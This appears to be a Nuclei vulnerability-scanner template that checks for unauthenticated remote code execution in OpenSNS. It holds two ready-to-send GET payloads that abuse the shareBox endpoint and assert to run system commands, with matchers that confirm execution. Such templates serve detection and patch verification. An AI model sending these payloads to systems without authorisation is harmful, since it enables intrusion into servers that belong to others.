opensns-rce: OpenSNS - Remote Code Execution

id: opensns-rce

info:
  name: OpenSNS - Remote Code Execution
  author: gy741
  severity: critical
  description: |
    OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: opensns,rce,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)'
      - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id)'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+)"
          - "Microsoft Windows"
        condition: or

      - type: word
        words:
          - "/Application/"

      - type: status
        status:
          - 200
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